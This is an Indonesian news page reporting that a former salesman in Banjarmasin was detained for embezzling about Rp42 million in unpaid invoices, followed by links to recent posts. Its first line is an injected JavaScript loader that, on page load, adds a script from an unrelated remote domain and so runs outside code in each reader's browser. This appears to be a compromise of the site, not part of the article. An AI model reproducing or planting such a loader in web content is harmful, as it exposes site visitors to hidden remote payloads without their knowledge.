(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Tak Setor Uang Penjualan Barang, Sales di Banjarmasin Ditahan


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki berinisial FR (32) di Banjarmasin harus berurusan dengan hukum karena diduga melakukan tindak pidana penggelapan uang perusahaan.

Warga Jalan Tembus Adyaksa 6 Simpang Tangga RT 37, Kelurahan Alalak Utara, Kecamatan Banjarmasin Utara, Kota Banjarmasin itu, ditetapkan tersangka setelah menjalani pemeriksaan di Polsek Banjarmasin Barat, Selasa (6/8/2024) lalu.

FR sendiri merupakan mantan karyawan perusahaan PT SHSD dengan posisi jabatan sales. FR diduga menggelapkan uang hasil penjualan senilai Rp42 juta. Uang senilai Rp42 juta itu seharusnya disetor ke bagian admin perusahaan.

Baca juga: Percepat Proses Penyelesaian, Masyarakat Diimbau Sementara Tidak Lintasi Jalan Banjarbaru-Batulicin

Kanit Reskrim Polsek Banjarmasin Barat Ipda Hafiz Satria dalam keterangan mengatakan, kasus terungkap setelah pihak PT SHSD menemukan kejanggalan dan setelah itu dilakukan audit internal.

Perusahaan menemukan 7 faktur yang sudah dibayarkan dari beberapa toko, namun tidak disetorkan oleh FR ke admin piutang faktur.

Atas kejadian itu, pihak perusahaan mengalami kerugian sebesar Rp42.254.346.

Baca juga: Omset Puluhan Juta, Rabita Sasirangan Berkembang dari Dekranasda Creative Hub Banjarbaru

“Kemudian PT SHSD melaporkan dugaan tindak pidana penggelapan itu ke Polsek Banjarmasin Barat untuk proses hukum,” katanya.

Dalam kasus ini, polisi menyita barang bukti berupa 7 lembar nota penjualan, 4 lembar fotocopy penjualan, dan 1 lembar hasil audit internal perusahaan.

FR akhirnya ditahan, terancam dijerat dengan pasal 374 KUHPidana tentang penggelapan dalam jabatan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

51 menit ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

2 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

2 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

3 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

7 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

7 jam ago

This website uses cookies.